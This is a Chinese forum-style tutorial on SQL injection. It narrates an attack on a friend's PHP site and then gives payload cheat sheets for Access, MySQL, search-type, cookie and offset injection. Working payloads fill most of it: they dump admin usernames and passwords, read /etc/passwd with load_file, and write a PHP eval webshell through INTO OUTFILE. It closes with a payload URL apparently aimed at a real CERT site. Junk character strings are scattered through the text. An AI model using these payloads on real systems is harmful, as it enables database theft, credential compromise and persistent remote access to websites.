我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
$ d& _4 J. H* L/ E& w: U. A9 _+ c让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
- Y5 h9 w! f y5 g/ S% h& h' F我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。0 o- j8 k4 e$ P' N# j* d
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
* [0 {' D8 E' ]/ `3 g1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)& s7 l$ _5 T/ o. k0 w- p$ m0 Y
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:( ` q: s1 n& C' Y
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in1 ^. I1 l4 `, ?, R, m9 S8 _: m
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
8 N. u6 U& \, Y" F7 C% U0 O + L% ] v3 x A% `# Z9 a. K+ s
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
H& E1 [) F7 H8 U. I3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意( W7 t' K/ b f( E
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
( A) v) m9 o: ]( P1 m5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
( T: ?# C4 @' [5 _- Q) b; Y8 w有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
$ [ E4 Q. u$ I, {. D2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
5 S' [/ T0 L o9 x我就用的是第二个思路,
+ t( N; T1 S5 W提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
' ? M2 e) ~" G3 T6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,3 W0 W! A7 d" N3 z/ I. Q7 ~
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--+ s9 W7 f% @ j2 O4 X; B" W" ~
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。( u: i3 w4 O. D# w, ^
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
8 j8 |# J; o; B! Y; t+ `是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....7 V; n! R+ b1 v l" u% @ Y
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
0 O* F+ n7 G: `( u2 S4 i然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,: u, Z5 J; P( `2 o' A3 k
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
# l) C B+ H; s下面是一些很普遍注入方式资料:, @% i3 f, F# b) z, H9 ~
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='6 Z1 ]/ I3 C; H2 f8 ]* _ F
拆半法' p* t1 ~ c0 R, O* t
###################################### E1 p$ r2 |* o0 j$ U3 y" Q" X5 B/ J
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。" l/ S. ~5 O) v" p. I' W6 }
and exists (select * from admin). i8 @0 t7 Y5 |
and exists(select id from admin)
, x; r, \ n# O E/ Aand exists(select id from admin where id=1) ^( \9 ^" \6 V, v& Y4 ^: O
and exists(select id from admin where id>1)
1 b* |: Z% ^( j* [/ y6 `, i然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
5 b& c, i9 T6 G W2 Land exists (select username from admin). ^) }0 c {7 z6 v) x$ T
and exists (select password from admin)
, s f3 ]+ q: h1 l; \) F9 r9 }and exists (select id from admin where len(username)<10 and id=1)3 v0 K" {% A5 e* H0 i7 e$ T
and exists (select id from admin where len(username)>5 and id=1)
; F5 ]" w6 G/ H q Eand exists (select id from admin where len(username)=6 and id=1)
+ E% u F+ b, \" m% ~and exists (select id from admin where len(password)<10 and id=1)
6 F4 J) h9 }& L; R. \- E$ M: W; aand exists (select id from admin where len(password)>5 and id=1)
. w; R! _; I$ E) S, Z/ U% Jand exists (select id from admin where len(password)=7 and id=1)9 e9 g3 B, |' w/ a4 v
and (select top 1 asc(mid(username,1,1)) from admin)=97
. t" L4 W3 ~; i返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
5 k+ }+ U7 F7 @% Y4 g+ H3 ]猜第二位把username,1,1改成username,2,1就可以了。: V0 q# l' X8 q6 N# c
猜密码把username改成password就OK了# {( `+ L( v5 U m- M
##################################################
2 p# _, I- t c' l" u% {; J6 q, j搜索型注入
2 n' P+ {& u- _( a$ W##################################
& g. m' Y7 }$ A( l' B) G%' and 1=1 and '%'='
5 h' S. F, u& M) i; C2 `%' and exists (select * from admin) and '%'='' d/ Z* [' `) |. ~4 X3 i
%' and exists(select id from admin where id=1) and '%'='
0 f5 `: l Q6 [' q, }3 I) Q1 ^0 Y# w%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' T' J, U% X, `" B: w
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
( [; }0 X5 n' g! ~%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
$ ?, P+ V# k+ k3 J' t这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
0 p+ S8 Q0 E8 I! |3 F1 B对于MSSQL数据库,后面可以吧 and '%'='换成-- m- W1 t9 T2 p0 P) _$ Z
还有一点搜索型注入也可以使用union语句。7 i7 T, z7 u9 s5 x
########################################################
* X( ^9 C9 `5 {( d联合查询。
8 W! h$ v# G0 o#####################################: H5 N1 J& m/ T% t; p+ ` _$ W* y
order by 10& b' _( `# y# @& j' u4 P9 ]; |0 T4 l
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
) G: }5 ^/ E! P1 u) T) x" E- }and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
3 [/ g* Z9 B+ P8 G* xand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=17 u) r9 L$ ^- A9 A. u
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)) A ?' q: q5 Q7 Z1 v( a' x
###################################
+ i2 p( y6 K! o7 S6 o5 Bcookie注入: c, ?5 [ @/ \( G9 O
###############################
7 y. W( {% D4 N% H) v- zhttp://www.******.com/shownews.asp?id=127' p: V$ u# p1 R
http://www.******.com/shownews.asp" K: z! m. P0 {5 _" @9 _. Q! S
alert(="id="+escape("127"));2 k* ? J/ h+ x8 C5 H1 c i. u5 e
alert(="id="+escape("127 and 1=1"));
% w5 M( g Z6 C% T0 k2 q* halert(="id="+escape("127 order by 10"));
, x1 r+ @; c0 H8 U4 [alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));/ e1 O6 W7 }- J
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1")); E# `% s( P7 x( S( X
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
; ^% E7 G* R, b7 Q+ O1 _" C#################################### _( O2 ^0 m3 } z" A. Z
偏移注入
0 h4 {0 l8 D4 b###########################################################
0 x7 {' U8 g- ~$ O% T; Y# K( wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
2 r( k: t8 d7 I7 d4 i+ a8 qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
$ B5 x8 [, S6 h* w& D, b& `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
* I+ R) u! R0 |3 s hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)- m$ _; x' u) O* [% B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
5 w* {8 F8 |9 T& T) [union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)" g L5 _$ p, I: e
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on" ?! Z' f2 O y: P/ `/ `$ b
a.id=d.id)
# G, Z% z9 k. i5 u5 H( v$ A3 wand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)# D$ d) P) ^6 j4 K" a9 b, P" {/ }
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 3 P0 H$ [/ H ^9 I* E
- P# T( e0 w; D$ B! Q; q============================================================================================================2 w: {% f7 E5 C& Q' h8 @1 K& [
1.判断版本
7 N! l5 W2 ~+ P: N9 iand ord(mid(version(),1,1))>51
1 ?5 e& \( {* A9 N返回正常,说明大于4.0版本,支持ounion查询6 S) }* Z; l% N' u9 Q
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解/ u* Z d1 W# m2 x
and 2=4 union select 1,2,3,4,5,6,7,8,9--' D0 Q% J! {8 R; |& p/ K
3.查看数据库版本及当前用户,
) x% T' x+ ^$ j( Pand 2=4 union select 1,user(),version(),4,5,6,7,8,9--# ^. S4 S% r% N' i% J$ k" _! f
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,& D8 m) u3 ]( i0 V; h# j( u
4.判断有没有写权限
# V+ @' f/ O5 W; Rand (select count(*) from MySQL.user)>0-- : c. U2 [' u8 A
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
" X% r! w3 ~& a8 S, W, Q用不了这个命令,就学习土耳其黑客手法,如下/ L3 ?, A b- M) u2 d/ K8 Z
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
( S- j# L- N5 ?3 D, G6 i6.爆表,爆库& Z/ c9 G! G1 X6 d; |9 |; b! q6 V
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--1 T- h5 o6 J' U$ S0 j6 Q$ i
7.爆列名,爆表8 U: h3 }. L# s, {$ {
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--. Y8 o. f) G! s! b
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。' O/ |2 n; G" R2 G* L+ P& M5 H
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
# }" ^- b' z3 K" ^9 L9.爆字段内容% a' o4 Q& c; p7 _+ ~. W/ _5 q
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
% q2 a1 {7 S- P7 C2 @http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |